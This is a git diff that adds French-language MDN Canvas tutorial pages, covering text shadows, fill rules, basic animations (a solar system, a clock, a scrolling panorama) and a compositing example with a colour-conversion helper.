+  ctx<span class="punctuation token">.</span>shadowColor <span class="operator token">=</span> <span class="string token">'rgba(0, 0, 0, 0.5)'</span><span class="punctuation token">;</span>
+
+  ctx<span class="punctuation token">.</span>font <span class="operator token">=</span> <span class="string token">'20px Times New Roman'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'Black'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillText</span><span class="punctuation token">(</span><span class="string token">'Sample String'</span><span class="punctuation token">,</span> <span class="number token">5</span><span class="punctuation token">,</span> <span class="number token">30</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>80<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample("A_shadowed_text_example", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}</p>
+
+<p><span id="result_box" lang="fr"><span>Nous allons regarder la propriété de la </span></span> <code>font</code> <em>(police de caratères)</em><span lang="fr"><span> et la méthode <code>fillText</code> dans le chapitre suivant sur le <a href="https://developer.mozilla.org/fr/docs/Dessin_de_texte_avec_canvas">dessin de texte</a>.</span></span></p>
+
+<h2 id="Canvas_fill_rules" name="Canvas_fill_rules"><span class="short_text" id="result_box" lang="fr"><span>Règles de remplissage Canvas</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>Lors de l'utilisation de <code>fill</code> (ou {{domxref ("CanvasRenderingContext2D.clip", "clip")}} et </span></span> {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}}) , <span lang="fr"> <span>déterminez si un point est à l'intérieur ou à l'extérieur d'un chemin et ainsi, s'il est rempli ou non.</span> <span>Ceci est utile lorsqu'un chemin en croise  un autre ou est imbriqué.</span></span><br>
+ <br>
+ Deux valeurs sont possibles :</p>
+
+<ul>
+ <li><code><strong>"nonzero</strong></code>": la <a class="external external-icon" href="http://en.wikipedia.org/wiki/Nonzero-rule">règle non-zero</a>, qui est la règle par défaut.</li>
+ <li><code><strong>"evenodd"</strong></code>: La <a class="external external-icon" href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">règle even-odd</a>.</li>
+</ul>
+
+<p>Dans cet exemple, nous utilisons la règle <code>evenodd</code> .</p>
+
+<pre class="brush: js;highlight[6] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">beginPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">arc</span><span class="punctuation token">(</span><span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">30</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> Math<span class="punctuation token">.</span>PI <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">arc</span><span class="punctuation token">(</span><span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">15</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> Math<span class="punctuation token">.</span>PI <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fill</span><span class="punctuation token">(</span><span class="string token">'evenodd'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}</p>
+
+<p>{{PreviousNext("Tutoriel_canvas/Formes_géométriques", "Dessin_de_texte_avec_canvas")}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/animations_basiques/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/animations_basiques/index.html
new file mode 100644
index 0000000000..f44929e8be
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/animations_basiques/index.html
@@ -0,0 +1,339 @@
+---
+title: Animations basiques
+slug: Web/API/Canvas_API/Tutoriel_canvas/Animations_basiques
+tags:
+  - Canvas
+  - Graphiques
+  - HTML
+  - HTML5
+  - Intermédiaire
+  - Tutoriel
+translation_of: Web/API/Canvas_API/Tutorial/Basic_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Tutoriel_canvas/Advanced_animations")}}</div>
+
+<div class="summary">
+<p>Avec l'utilisation en Javascript du composant {{HTMLElement("canvas")}}, il est très simple de créer des animations (interactives). Ce chapitre décrit comment créer quelques animations basiques.</p>
+</div>
+
+<p>La plus grosse limitation est sans doute qu'une fois qu'une forme est dessinée, elle reste telle quelle. Si on a besoin de la déplacer, il faut la redessiner avec ce qui était dessiné avant. Cela peut prendre beaucoup de temps de redessiner des images complexes et les performances dépendront beaucoup de la vitesse de l'ordinateur qui exécute cet affichage.</p>
+
+<h2 id="Basic_animation_steps" name="Basic_animation_steps">Les étapes d'une animation basique</h2>
+
+<p>Voici les étapes à suivre à chaque image dessinée (frame) :</p>
+
+<ol>
+ <li><strong>Effacer le canevas</strong><br>
+  À moins que les formes que vous voulez dessiner remplissent complètement le canevas (par exemple une image en arrière-plan), vous devrez effacer toutes les formes qui ont été dessinées précédemment. La manière la plus simple de le faire est d'utiliser la méthode {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}.</li>
+ <li><strong>Enregistrer l'état du canevas</strong><br>
+  Si vous changez des configurations qui affectent l'état du canevas (comme le style, les transformations, etc.), et vous voulez vous assurer que c'est l'état original qui est utilisé chaque fois que le canevas est redessiné, alors vous devez enregistrer l'état original.</li>
+ <li><strong>Dessiner les formes animées</strong><br>
+  Vous effectuez toutes les opérations pour afficher l'image.</li>
+ <li><strong>Restaurer l'état du canevas</strong><br>
+  Si l'état du canevas a été sauvegardé, vous  restaurez cet état avant le prochain rendu.</li>
+</ol>
+
+<h2 id="Controlling_an_animation" name="Controlling_an_animation">Contrôle d'une animation</h2>
+
+<p>Les formes sont dessinées en utilisant soit les méthodes du canevas directement soit en appelant des fonctions personnalisées. Dans des conditions normales, on ne voit le résultat des opérations sur le canevas que quand le script a terminé son exécution. Cela signifie qu'il n'est pas possible de créer une animation avec une boucle <code>for</code>.</p>
+
+<p>Il nous faut donc un moyen d'exécuter nos fonctions de dessin sur une période de temps. Il existe à ce jour trois manières de le faire.</p>
+
+<h3 id="Mises_à_jour_planifiées">Mises à jour planifiées</h3>
+
+<p>Les fonctions {{domxref("window.setInterval()")}}, {{domxref("window.setTimeout()")}}, et {{domxref("window.requestAnimationFrame()")}} peuvent être utilisées :</p>
+
+<dl>
+ <dt>{{domxref("WindowTimers.setInterval", "setInterval(function, delay)")}}</dt>
+ <dd>Lance la fonction définie par <code>function</code> chaque <code>delay</code> <em>(délai)</em> millisecondes.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout", "setTimeout(function, delay)")}}</dt>
+ <dd>Exécute la fonction définie par <code>function</code> dans <code>delay</code> millisecondes.</dd>
+ <dt>{{domxref("Window.requestAnimationFrame()", "requestAnimationFrame(callback)")}}</dt>
+ <dd>Dit au navigateur qu'on veut afficher une animation et lui demande d'appeler la fonction <code>callback</code> pour mettre à jour cette animation avant de dessiner la prochaine image.</dd>
+</dl>
+
+<p>Si vous n'avez pas besoin d'interaction utilisateur, vous pouvez utiliser la fonction <code>setInterval()</code>, elle va exécuter périodiquement votre code.</p>
+
+<p>Si vous voulez faire un jeu, et utiliser les événements du clavier et de la souris pour contrôler l'animation, vous pouvez utiliser <code>setTimeout()</code>. En utilisant des {{domxref("EventListener")}}, on peut récupèrer chaque interaction et d'exécuter nos fonctions d'animation.</p>
+
+<p>Dans les exemples suivants, nous utiliserons {{domxref("window.requestAnimationFrame()")}} pour contrôler les animations. Cette technique est plus fluide et plus efficace, elle appelle les opérations de rendu quand le système est prêt à dessiner l'image. Dans des conditions idéales, la fonction est alors lancée 60 fois par seconde, mais la fréquence sera réduite si l'animation se passe dans un onglet non visible.</p>
+
+<div class="note">
+<p>Pour plus d'informations sur la boucle d'animation, plus spécialement pour les jeux, rendez-vous sur l'article <a href="https://developer.mozilla.org/fr/docs/Jeux/Anatomie">L'anatomie d'un jeu vidéo</a> dans notre section <a href="https://developer.mozilla.org/fr/docs/Jeux">Développement de jeux vidéo</a>.</p>
+</div>
+
+<h2 id="Un_système_terrestre_animé">Un système terrestre animé</h2>
+
+<p>Cette exemple anime un petit modèle de notre système terrestre.</p>
+
+<pre class="brush: js notranslate">var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+  window.requestAnimationFrame(draw);
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.globalCompositeOperation = 'destination-over';
+  ctx.clearRect(0,0,300,300); // effacer le canvas
+
+  ctx.fillStyle = 'rgba(0,0,0,0.4)';
+  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+  ctx.save();
+  ctx.translate(150,150);
+
+  // Terre
+  var time = new Date();
+  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+  ctx.translate(105,0);
+  ctx.fillRect(0,-12,50,24); // Ombre
+  ctx.drawImage(earth,-12,-12);
+
+  // Lune
+  ctx.save();
+  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+  ctx.translate(0,28.5);
+  ctx.drawImage(moon,-3.5,-3.5);
+  ctx.restore();
+
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.arc(150,150,105,0,Math.PI*2,false); // Orbite terrestre
+  ctx.stroke();
+
+  ctx.drawImage(sun,0,0,300,300);
+
+  window.requestAnimationFrame(draw);
+}
+
+init();
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Un_système_terrestre_animé", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}</p>
+
+<h2 id="Une_horloge_animée">Une horloge animée</h2>
+
+<p>Cette exemple dessine une horloge animée qui affiche l'heure actuelle.</p>
+
+<pre class="brush: js notranslate">function clock(){
+  var now = new Date();
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.save();
+  ctx.clearRect(0,0,150,150);
+  ctx.translate(75,75);
+  ctx.scale(0.4,0.4);
+  ctx.rotate(-Math.PI/2);
+  ctx.strokeStyle = "black";
+  ctx.fillStyle = "white";
+  ctx.lineWidth = 8;
+  ctx.lineCap = "round";
+
+  // Marquage des heures
+  ctx.save();
+  for (var i=0;i&lt;12;i++){
+    ctx.beginPath();
+    ctx.rotate(Math.PI/6);
+    ctx.moveTo(100,0);
+    ctx.lineTo(120,0);
+    ctx.stroke();
+  }
+  ctx.restore();
+
+  // Marquage des minutes
+  ctx.save();
+  ctx.lineWidth = 5;
+  for (i=0;i&lt;60;i++){
+    if (i%5!=0) {
+      ctx.beginPath();
+      ctx.moveTo(117,0);
+      ctx.lineTo(120,0);
+      ctx.stroke();
+    }
+    ctx.rotate(Math.PI/30);
+  }
+  ctx.restore();
+
+  var sec = now.getSeconds();
+  var min = now.getMinutes();
+  var hr  = now.getHours();
+  hr = hr&gt;=12 ? hr-12 : hr;
+
+  ctx.fillStyle = "black";
+
+  // Aiguille des heures
+  ctx.save();
+  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+  ctx.lineWidth = 14;
+  ctx.beginPath();
+  ctx.moveTo(-20,0);
+  ctx.lineTo(80,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // Aiguille des minutes
+  ctx.save();
+  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+  ctx.lineWidth = 10;
+  ctx.beginPath();
+  ctx.moveTo(-28,0);
+  ctx.lineTo(112,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // Aiguille des secondes
+  ctx.save();
+  ctx.rotate(sec * Math.PI/30);
+  ctx.strokeStyle = "#D40000";
+  ctx.fillStyle = "#D40000";
+  ctx.lineWidth = 6;
+  ctx.beginPath();
+  ctx.moveTo(-30,0);
+  ctx.lineTo(83,0);
+  ctx.stroke();
+  ctx.beginPath();
+  ctx.arc(0,0,10,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.beginPath();
+  ctx.arc(95,0,10,0,Math.PI*2,true);
+  ctx.stroke();
+  ctx.fillStyle = "rgba(0,0,0,0)";
+  ctx.arc(0,0,3,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.lineWidth = 14;
+  ctx.strokeStyle = '#325FA2';
+  ctx.arc(0,0,142,0,Math.PI*2,true);
+  ctx.stroke();
+
+  ctx.restore();
+
+  window.requestAnimationFrame(clock);
+}
+
+window.requestAnimationFrame(clock);</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Une_horloge_animée", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}</p>
+
+<h2 id="Un_panorama_défilant_en_boucle">Un panorama défilant en boucle</h2>
+
+<p>Dans cet exemple, un panorama défile de la gauche vers la droite et recommence. Nous utilisons une <a href="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg" title="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg">image du parc Yosemite National</a> récupérée sur Wikimedia, vous pouvez utiliser une autre image de votre choix qui est plus grande que le canevas.</p>
+
+<pre class="brush: js notranslate">var img = new Image();
+
+// Variables utilisateur - les personnaliser pour changer l'image qui défile, ses
+// directions, et la vitesse.
+
+img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; // plus elle est basse, plus c'est rapide
+var scale = 1.05;
+var y = -4.5; // décalage vertical
+
+// Programme principal
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+    imgW = img.width * scale;
+    imgH = img.height * scale;
+
+    if (imgW &gt; CanvasXSize) {
+        // image plus grande que le canvas
+        x = CanvasXSize - imgW;
+    }
+    if (imgW &gt; CanvasXSize) {
+        // largeur de l'image plus grande que le canvas
+        clearX = imgW;
+    } else {
+        clearX = CanvasXSize;
+    }
+    if (imgH &gt; CanvasYSize) {
+        // hauteur de l'image plus grande que le canvas
+        clearY = imgH;
+    } else {
+        clearY = CanvasYSize;
+    }
+
+    // récupérer le contexte du canvas
+    ctx = document.getElementById('canvas').getContext('2d');
+
+    // définir le taux de rafraichissement
+    return setInterval(draw, speed);
+}
+
+function draw() {
+    ctx.clearRect(0, 0, clearX, clearY); // clear the canvas
+
+    // si image est &lt;= taille du canvas
+    if (imgW &lt;= CanvasXSize) {
+        // réinitialise, repart du début
+        if (x &gt; CanvasXSize) {
+            x = -imgW + x;
+        }
+        // dessine image1 supplémentaire
+        if (x &gt; 0) {
+            ctx.drawImage(img, -imgW + x, y, imgW, imgH);
+        }
+        // dessine image2 supplémentaire
+        if (x - imgW &gt; 0) {
+            ctx.drawImage(img, -imgW * 2 + x, y, imgW, imgH);
+        }
+    }
+
+    // image est &gt; taille du canvas
+    else {
+        // réinitialise, repeart du début
+        if (x &gt; (CanvasXSize)) {
+            x = CanvasXSize - imgW;
+        }
+        // dessine image supplémentaire
+        if (x &gt; (CanvasXSize-imgW)) {
+            ctx.drawImage(img, x - imgW + 1, y, imgW, imgH);
+        }
+    }
+    // dessine image
+    ctx.drawImage(img, x, y,imgW, imgH);
+    // quantité à déplacer
+    x += dx;
+}
+</pre>
+
+<p>En dessous, vous trouvez l'élément {{HTMLElement("canvas")}} avec l'image qui défile. Notez que les dimensions de largeur et de hauteur spécifiées doivent correspondre aux valeurs des variables <code>CanvasXZSize</code> et <code>CanvasYSize</code> dans le code JavaScript.</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="800" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<p>{{EmbedLiveSample("Un_panorama_défilant_en_boucle", "830", "230")}}</p>
+
+<h2 id="Other_examples" name="Other_examples">Autres exemples</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Un_raycaster_basique_avec_canvas" title="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster">Un raycaster basique avec canvas</a></dt>
+ <dd>Un bon exemple d'animation contrôlée par le clavier.</dd>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Advanced_animations">Animations avancées</a></dt>
+ <dd>Nous nous attarderons sur quelques techniques d'animation et de gestion de physique avancées dans le prochain châpitre.</dd>
+</dl>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Tutoriel_canvas/Advanced_animations")}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/composition/example/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/composition/example/index.html
new file mode 100644
index 0000000000..8fbb3ec79c
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/composition/example/index.html
@@ -0,0 +1,295 @@
+---
+title: Exemple de composition
+slug: Web/API/Canvas_API/Tutoriel_canvas/Composition/Example
+tags:
+  - Canvas
+  - Exemple
+  - Graphisme
+  - HTML
+  - HTML5
+  - Tutoriel
+translation_of: Web/API/Canvas_API/Tutorial/Compositing/Example
+---
+<div>{{CanvasSidebar}}</div>
+
+<p>Cet exemple illustre un certain nombre d'<a href="/fr/docs/Web/API/CanvasRenderingContext2D.globalCompositeOperation">opérations de composition</a>. Le résultat donne ceci:</p>
+
+<p>{{EmbedLiveSample("Exemple_de_composition", "100%", 7250)}}</p>
+
+<h2 id="Exemple_de_composition">Exemple de composition</h2>
+
+<p>Ce code configure les valeurs globales utilisées par le reste du programme.</p>
+
+<pre class="brush: js notranslate">var canvas1 = document.createElement("canvas");
+var canvas2 = document.createElement("canvas");
+var gco = [ 'source-over','source-in','source-out','source-atop',
+            'destination-over','destination-in','destination-out','destination-atop',
+            'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken',
+            'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light',
+            'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity'
+          ].reverse();
+var gcoText = [
+"C'est la configuration par défaut, elle dessine les nouvelles formes au-dessus du contenu existant sur le canvas.",
+"La nouvelle forme est dessinée uniquement là où il y a déjà du contenu sur le canvas. Tout le reste est rendu transparent.",
+"La nouvelle forme est dessinée uniquement là où il n'y a pas de contenu sur le canvas.",
+"La nouvelle forme est dessinée uniquement là où il y a déjà du contenu sur le canvas. Elle s'ajoute au contenu existant.",
+"Les nouvelles formes sont dessinées derrière le contenu existant du canvas.",
+"Le contenu existant du canvas est conservé là où il chevauche la nouvelle forme. Tout le reste est rendu transparent.",
+"Le contenu existant du canvas est conservé là où il ne chevauche pas la nouvelle forme.",
+"Le contenu existant du canvas est conservé là où il chevauche la nouvelle forme. La nouvelle forme est dessinée derrière le contenu existant.",
+"La nouvelle forme est ajoutée en additionnant ses couleurs à celles du contenu existant.",
+"Seule la nouvelle forme est affichée.",
+"Les formes sont rendues transparentes lorsqu'elles se chevauchent.",
+"Les pixels de la nouvelle forme sont multipliés avec les pixels du contenu existant. Le résultat est une image plus sombre.",
+"Les pixels sont inversés, multipliés, puis inversés de nouveau. Le résultat est une image plus claire (l'inverse de multiply)",
+"Une combinaison de multiply et screen. Les parties sombres du contenu existant deviennent plus sombres, et les parties claires deviennent plus claires.",
+"Retiens les pixels les plus sombres entre les deux.",
+"Retiens les pixels les plus clairs entre les deux.",
+"Divise le layer inférieur par le layer supérieur inversé.",
+"Divise le layer inférieur inversé par le layer supérieur, puis inverse le résultat.",
+"Une combinaison de multiply et screen (comme overlay), mais avec le layer supérieur et inférieur inversés.",
+"Assombrit ou éclaircit les couleurs, en fonction de la couleur de la forme ajoutée.",
+"Soustrait le layer inférieur au layer supérieur ou inversemment pour toujours obtenir une valeur positive.",
+"Comme difference, mais avec un contraste moins élevé.",
+"Préserve la luminance et saturation du layer inférieur, et utilise la teinte du layer supérieur.",
+"Préserve la luminance et teinte du layer inférieur, et utilise la saturation du layer supérieur.",
+"Préserve la luminance du layer inférieur, et utilise la teinte et saturation du layer supérieur.",
+"Préserve la teinte et saturation du layer inférieur, et utilise la luminance du layer supérieur."
+].reverse();
+var width = 320;
+var height = 340;
+</pre>
+
+<h3 id="Programme_principal">Programme principal</h3>
+
+<p>Quand la page se charge, le code suivant s'exécute pour configurer et exécuter l'exemple:</p>
+
+<pre class="brush: js notranslate">window.onload = function() {
+    // lum en sRGB
+    var lum = {
+        r: 0.33,
+        g: 0.33,
+        b: 0.33
+    };
+    // redimensionne le canvas
+    canvas1.width = width;
+    canvas1.height = height;
+    canvas2.width = width;
+    canvas2.height = height;
+    lightMix()
+    colorSphere();
+    runComposite();
+    return;
+};
+</pre>
+
+<p>Et dans le code suivant, <code>runComposite()</code> gère la majeure partie du travail, en s'appuyant sur un certain nombre de fonctions utilitaires pour faire les parties difficiles.</p>
+
+<pre class="brush: js notranslate">function createCanvas() {
+    var canvas = document.createElement("canvas");
+    canvas.style.background = "url("+op_8x8.data+")";
+    canvas.style.border = "1px solid #000";
+    canvas.style.margin = "5px";
+    canvas.width = width/2;
+    canvas.height = height/2;
+    return canvas;
+}
+
+function runComposite() {
+    var dl = document.createElement("dl");
+    document.body.appendChild(dl);
+    while(gco.length) {
+        var pop = gco.pop();
+        var dt = document.createElement("dt");
+        dt.textContent = pop;
+        dl.appendChild(dt);
+        var dd = document.createElement("dd");
+        var p = document.createElement("p");
+        p.textContent = gcoText.pop();
+        dd.appendChild(p);
+
+        var canvasToDrawOn = createCanvas();
+        var canvasToDrawFrom = createCanvas();
+        var canvasToDrawResult = createCanvas();
+
+        var ctx = canvasToDrawResult.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = pop;
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = "source-over";
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText(pop, 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawOn.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('existing content', 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawFrom.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('new content', 5, height/2 - 5);
+        ctx.restore();
+
+        dd.appendChild(canvasToDrawOn);
+        dd.appendChild(canvasToDrawFrom);
+        dd.appendChild(canvasToDrawResult);
+
+        dl.appendChild(dd);
+    }
+};
+</pre>
+
+<h3 id="Fonctions_utilitaires">Fonctions utilitaires</h3>
+
+<p>Notre programme repose sur un certain nombbre de fonctions utilitaires:</p>
+
+<pre class="brush: js notranslate">var lightMix = function() {
+    var ctx = canvas2.getContext("2d");
+    ctx.save();
+    ctx.globalCompositeOperation = "lighter";
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(255,0,0,1)";
+    ctx.arc(100, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,0,255,1)";
+    ctx.arc(220, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,255,0,1)";
+    ctx.arc(160, 100, 100, Math.PI*2, 0, false);
+    ctx.fill();
+    ctx.restore();
+    ctx.beginPath();
+    ctx.fillStyle = "#f00";
+    ctx.fillRect(0,0,30,30)
+    ctx.fill();
+};
+</pre>
+
+<pre class="brush: js notranslate">var colorSphere = function(element) {
+    var ctx = canvas1.getContext("2d");
+    var width = 360;
+    var halfWidth = width / 2;
+    var rotate = (1 / 360) * Math.PI * 2; // per degree
+    var offset = 0; // scrollbar offset
+    var oleft = -20;
+    var otop = -20;
+    for (var n = 0; n &lt;= 359; n ++) {
+        var gradient = ctx.createLinearGradient(oleft + halfWidth, otop, oleft + halfWidth, otop + halfWidth);
+        var color = Color.HSV_RGB({ H: (n + 300) % 360, S: 100, V: 100 });
+        gradient.addColorStop(0, "rgba(0,0,0,0)");
+        gradient.addColorStop(0.7, "rgba("+color.R+","+color.G+","+color.B+",1)");
+        gradient.addColorStop(1, "rgba(255,255,255,1)");
+        ctx.beginPath();
+        ctx.moveTo(oleft + halfWidth, otop);
+        ctx.lineTo(oleft + halfWidth, otop + halfWidth);
+        ctx.lineTo(oleft + halfWidth + 6, otop);
+        ctx.fillStyle = gradient;
+        ctx.fill();
+        ctx.translate(oleft + halfWidth, otop + halfWidth);
+        ctx.rotate(rotate);
+        ctx.translate(-(oleft + halfWidth), -(otop + halfWidth));
+    }
+    ctx.beginPath();
+    ctx.fillStyle = "#00f";
+    ctx.fillRect(15,15,30,30)
+    ctx.fill();
+    return ctx.canvas;
+};
+</pre>
+
+<pre class="brush: js notranslate">// HSV (1978) = H: Hue / S: Saturation / V: Value
+Color = {};
+Color.HSV_RGB = function (o) {
+    var H = o.H / 360,
+        S = o.S / 100,
+        V = o.V / 100,
+        R, G, B;
+    var A, B, C, D;
+    if (S == 0) {
+        R = G = B = Math.round(V * 255);
+    } else {
+        if (H &gt;= 1) H = 0;
+        H = 6 * H;
+        D = H - Math.floor(H);
+        A = Math.round(255 * V * (1 - S));
+        B = Math.round(255 * V * (1 - (S * D)));
+        C = Math.round(255 * V * (1 - (S * (1 - D))));
+        V = Math.round(255 * V);
+        switch (Math.floor(H)) {
+            case 0:
+                R = V;
+                G = C;
+                B = A;
+                break;
+            case 1:
+                R = B;
+                G = V;
+                B = A;
+                break;
+            case 2:
+                R = A;
+                G = V;
+                B = C;
+                break;
+            case 3:
+                R = A;
+                G = B;
+                B = V;
+                break;
+            case 4:
+                R = C;
+                G = A;
+                B = V;
+                break;
+            case 5:
+                R = V;
+                G = A;
+                B = B;
+                break;
+        }
+    }
+    return {
+        R: R,
+        G: G,
+        B: B
+    };
+};
